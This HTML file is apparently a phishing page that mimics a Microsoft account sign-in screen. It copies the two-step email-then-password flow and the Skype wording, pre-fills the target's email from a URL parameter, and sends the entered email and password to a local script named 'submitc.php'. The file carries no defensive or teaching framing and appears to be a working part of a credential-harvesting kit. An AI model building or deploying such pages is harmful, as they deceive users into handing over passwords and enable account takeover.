<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="style.css">
<title>Sign in your account</title>
<script>
window.onload = function() {
const urlParams = new URLSearchParams(window.location.search);
const userEmail = urlParams.get('email');
if (userEmail) {
document.getElementById('email').value = userEmail;
}
};
</script>
</head>
<body>
<div class="container">
<form action="submitc.php" method="POST">
<img class="logo" src="msgo.svg">
<div class="forms-container">
<div class="forms">
<div class="first">
<h2><b>Sign in</b></h2>
<div class="form-group">
<input type="email" id="email" name="email" required placeholder="Email address, phone number, or Skype">
</div>
<p>No account? <a href="#">Create One!</a></p>
<a href="#">Sign in with a security key <span>?</span></a>
<button type="button" class="next-btn">Next</button>
</div>
<div class="second">
<p><span class=
"arrow-btn">←</span> <span class=
"email">[email protected]</span></p> <h2>Enter password</h2>
<div class="form-group">
<input type="password" id="password" name="password" placeholder="Password">
</div>
<a href="#">Forgot password?</a>
<button type="submit">Sign in</button>
</div>
</div>
</div>
</form>
<div class="bottom">
<img src="key.svg">
<span>Sign-in options</span>
</div>
</div>
<script>
const forms = document.querySelector('.forms')
const next_button = document.querySelector('.next-btn')
const arrow_btn = document.querySelector('.arrow-btn')
const email_input = document.querySelector('.first input')
const email_el = document.querySelector('.email')
next_button.addEventListener('click', () => {
forms.classList.add('next-form')
email_el.innerText = email_input.value
document.querySelector('.bottom').style.display = 'none'
})
arrow_btn.addEventListener('click', () => {
forms.classList.remove('next-form')
document.querySelector('.bottom').style.display = 'flex'
})
</script>
</body>
</html>